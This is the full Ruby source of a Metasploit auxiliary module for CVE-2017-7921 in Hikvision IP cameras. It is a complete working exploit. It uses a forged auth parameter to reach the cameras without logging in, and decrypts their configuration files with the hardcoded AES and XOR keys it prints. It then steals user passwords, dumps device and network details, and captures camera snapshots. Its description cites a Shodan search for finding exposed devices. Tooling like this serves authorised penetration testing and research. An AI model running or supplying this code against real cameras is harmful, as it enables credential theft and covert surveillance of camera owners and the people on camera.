Hikvision IP Camera Information Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
require 'openssl'  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
# AES hex encryption key and XOR key defined constants used to decrypt the camare configuration file  
AES_KEY = '279977f62f6cfd2d91cd75b889ce0c9a'.freeze  
XOR_KEY = "\x73\x8b\x55\x44".freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera',  
'Description' => %q{  
Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure of camera information,  
such as detailed hardware and software configuration, user credentials, and camera snapshots.  
The vulnerability has been present in Hikvision products since 2014.  
In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names.  
Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: "App-webs" "200 OK").  
This module allows the attacker to retrieve this information without any authentication. The information is stored in loot for future use.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Monte Crypto', # Researcher who discovered and disclosed this vulnerability  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Developer and author of this Metasploit module  
],  
'References' => [  
[ 'CVE', '2017-7921' ],  
[ 'PACKETSTORM', '144097' ],  
[ 'URL', 'https://ipvm.com/reports/hik-exploit' ],  
[ 'URL', 'https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ]  
],  
'Actions' => [  
['Automatic', { 'Description' => 'Dump all information' }],  
['Credentials', { 'Description' => 'Dump all credentials and passwords' }],  
['Configuration', { 'Description' => 'Dump camera hardware and software configuration' }],  
['Snapshot', { 'Description' => 'Take a camera snapshot' }]  
],  
'DefaultAction' => 'Automatic',  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false  
},  
'DisclosureDate' => '2017-09-23',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptBool.new(  
'PRINT',  
[  
false,  
'Print output to console (not applicable for snapshot)',  
true  
]  
)  
])  
end  
  
def get_info(uri)  
password = Rex::Text.rand_text_alphanumeric(4..12)  
auth = Base64.urlsafe_encode64("admin:#{password}", padding: false)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'vars_get' => {  
'auth' => auth.strip  
}  
})  
return res  
rescue StandardError => e  
print_error("#{peer} - Communication error occurred: #{e.message}")  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
return nil  
end  
  
def report_creds(user, pwd)  
credential_data = {  
module_fullname: fullname,  
username: user,  
private_data: pwd,  
private_type: :password,  
workspace_id: myworkspace_id,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
  
cred_res = create_credential_and_login(credential_data)  
unless cred_res.nil?  
print_status("Credentials for user:#{user} are added to the database...")  
end  
end  
  
def decrypt_config  
text_data = []  
  
# Get AES128-ECB encrypted camera configuration file with user and password information  
uri = normalize_uri(target_uri.path, 'System', 'configurationFile')  
aes_data = get_info(uri)  
  
if aes_data.nil?  
print_error('Target server did not respond to the configuration file download request.')  
elsif aes_data.code == 200  
# decrypt configuration file data with the weak AES128-ECB encryption hex key: 279977f62f6cfd2d91cd75b889ce0c9a  
decipher = OpenSSL::Cipher.new('aes-128-ecb')  
decipher.decrypt  
decipher.key = [AES_KEY].pack('H*') # transform hex key to 16 bits key  
xor_data = decipher.update(aes_data.body) + decipher.final  
  
# decode the AES decrypted configuration file data with xor key: 73 8B 55 44  
file_data = Rex::Text.xor(XOR_KEY.b, xor_data)  
  
# extract text chunks with regular expression below...  
text_data = file_data.scan(%r{[0-9A-Za-z_\#~`@|\\/=*\^:"'.;{}?\-+&!$%()\[\]<>]+}x)  
end  
return text_data  
end  
  
def get_creds  
loot_data = ''  
pwd = nil  
  
print_status('Getting the user credentials...')  
uri = normalize_uri(target_uri.path, 'Security', 'users')  
creds_info = get_info(uri)  
  
if creds_info.nil?  
print_error('Target server did not respond to the credentials request.')  
elsif creds_info.code == 200  
# process XML output and store output in loot_data  
xml_creds_info = creds_info.get_xml_document  
if xml_creds_info.blank?  
print_error('No users were found in the returned CSS code!')  
else  
# Download camera configuration file and and decrypt  
text_data = decrypt_config  
loot_data << "User Credentials Information:\n"  
loot_data << "-----------------------------\n"  
xml_creds_info.css('User').each do |user|  
unless text_data.empty?  
# Filter out password based on user name and store credentials in the database  
i = text_data.each_with_index.select { |text_chunk, _index| text_chunk == user.at_css('userName').content }.map { |pair| pair[1] }  
if i.empty?  
print_error("Could not retrieve password for user:#{user.at_css('userName').content} from the camera configuration file!")  
else  
pwd = text_data[i.last + 1]  
report_creds(user.at_css('userName').content, pwd)  
end  
end  
loot_data << "User:#{user.at_css('userName').content} | ID:#{user.at_css('id').content} | Role:#{user.at_css('userLevel').content} | Password: #{pwd}\n"  
end  
end  
else  
print_error('Response code invalid for obtaining the user credentials.')  
end  
unless loot_data.empty?  
if datastore['PRINT']  
print_status(loot_data.to_s)  
end  
loot_path = store_loot('hikvision.credential', 'text/plain', datastore['RHOSTS'], loot_data, 'credentials', 'leaked credentials')  
print_good("User credentials are successfully saved to #{loot_path}")  
end  
end  
  
def get_config  
loot_data = ''  
  
# Get device info  
print_status('Getting the camera hardware and software configuration...')  
uri = normalize_uri(target_uri.path, 'System', 'deviceInfo')  
device_info = get_info(uri)  
  
if device_info.nil?  
print_error('Target server did not respond to the device info request.')  
elsif device_info.code == 200  
# process XML output and store in loot_data  
xml_device_info = device_info.get_xml_document  
if xml_device_info.blank?  
print_error('No device info was found in the returned CSS code!')  
else  
loot_data << "Camera Device Information:\n"  
loot_data << "--------------------------\n"  
xml_device_info.css('DeviceInfo').each do |device|  
loot_data << "Device name: #{device.at_css('deviceName').content}\n"  
loot_data << "Device ID: #{device.at_css('deviceID').content}\n"  
loot_data << "Device description: #{device.at_css('deviceDescription').content}\n"  
loot_data << "Device manufacturer: #{device.at_css('systemContact').content}\n"  
loot_data << "Device model: #{device.at_css('model').content}\n"  
loot_data << "Device S/N: #{device.at_css('serialNumber').content}\n"  
loot_data << "Device MAC: #{device.at_css('macAddress').content}\n"  
loot_data << "Device firmware version: #{device.at_css('firmwareVersion').content}\n"  
loot_data << "Device firmware release: #{device.at_css('firmwareReleasedDate').content}\n"  
loot_data << "Device boot version: #{device.at_css('bootVersion').content}\n"  
loot_data << "Device boot release: #{device.at_css('bootReleasedDate').content}\n"  
loot_data << "Device hardware version: #{device.at_css('hardwareVersion').content}\n"  
end  
loot_data << "\n"  
end  
else  
print_error('Response code invalid for obtaining camera hardware and software configuration.')  
end  
  
# Get network configuration  
uri = normalize_uri(target_uri.path, 'Network', 'interfaces')  
network_info = get_info(uri)  
  
if network_info.nil?  
print_error('Target server did not respond to the network info request.')  
elsif network_info.code == 200  
# process XML output and store in loot_data  
xml_network_info = network_info.get_xml_document  
if xml_network_info.blank?  
print_error('No network info was found in the returned CSS code!')  
else  
loot_data << "Camera Network Information:\n"  
loot_data << "---------------------------\n"  
xml_network_info.css('NetworkInterface').each do |interface|  
loot_data << "IP interface: #{interface.at_css('id').content}\n"  
xml_network_info.css('IPAddress').each do |ip|  
loot_data << "IP version: #{ip.at_css('ipVersion').content}\n"  
loot_data << "IP assignment: #{ip.at_css('addressingType').content}\n"  
loot_data << "IP address: #{ip.at_css('ipAddress').content}\n"  
loot_data << "IP subnet mask: #{ip.at_css('subnetMask').content}\n"  
xml_network_info.css('DefaultGateway').each do |gateway|  
loot_data << "Default gateway: #{gateway.at_css('ipAddress').content}\n"  
end  
xml_network_info.css('PrimaryDNS').each do |dns|  
loot_data << "Primary DNS: #{dns.at_css('ipAddress').content}\n"  
end  
end  
end  
loot_data << "\n"  
end  
else  
print_error('Response code invalid for obtaining camera network configuration.')  
end  
  
# Get storage configuration  
uri = normalize_uri(target_uri.path, 'System', 'Storage', 'volumes')  
storage_info = get_info(uri)  
  
if storage_info.nil?  
print_error('Target server did not respond to the storage info request.')  
elsif storage_info.code == 200  
# process XML output and store in loot  
xml_storage_info = storage_info.get_xml_document  
if xml_storage_info.blank?  
print_error('No storage info was found in the returned CSS code!')  
else  
loot_data << "Camera Storage Information:\n"  
loot_data << "---------------------------\n"  
xml_storage_info.css('StorageVolume').each do |volume|  
loot_data << "Storage volume name: #{volume.at_css('volumeName').content}\n"  
loot_data << "Storage volume ID: #{volume.at_css('id').content}\n"  
loot_data << "Storage volume description: #{volume.at_css('storageDescription').content}\n"  
loot_data << "Storage device: #{volume.at_css('storageLocation').content}\n"  
loot_data << "Storage type: #{volume.at_css('storageType').content}\n"  
loot_data << "Storage capacity (MB): #{volume.at_css('capacity').content}\n"  
loot_data << "Storage device status: #{volume.at_css('status').content}\n"  
end  
end  
else  
print_error('Response code invalid for obtaining camera storage configuration.')  
end  
unless loot_data.empty?  
if datastore['PRINT']  
print_status(loot_data.to_s)  
end  
loot_path = store_loot('hikvision.config', 'text/plain', datastore['RHOSTS'], loot_data, 'configuration', 'camera configuration')  
print_good("Camera configuration details are successfully saved to #{loot_path}")  
end  
end  
  
def take_snapshot  
jpeg_image = nil  
  
# Take a snapshot and store as jpeg  
print_status('Taking a camera snapshot...')  
uri = normalize_uri(target_uri.path, 'Streaming', 'channels', '1', 'picture?snapShotImageType=JPEG')  
res = get_info(uri)  
  
if res.nil?  
print_error('Target server did not respond to the snapshot request.')  
elsif res.code == 200  
jpeg_image = res.body  
else  
print_error('Response code invalid for obtaining a camera snapshot.')  
end  
unless jpeg_image.nil?  
loot_path = store_loot('hikvision.image', 'jpeg/image', datastore['RHOSTS'], jpeg_image, 'snapshot', 'camera snapshot')  
print_good("Camera snapshot is successfully saved to #{loot_path}")  
end  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'System', 'time')  
res = get_info(uri)  
  
if res.nil?  
return Exploit::CheckCode::Unknown  
elsif res.code == 200  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def run  
case action.name  
when 'Automatic'  
print_status('Running in automatic mode')  
get_creds  
get_config  
take_snapshot  
when 'Credentials'  
get_creds  
when 'Configuration'  
get_config  
when 'Snapshot'  
take_snapshot  
end  
end  
end  
`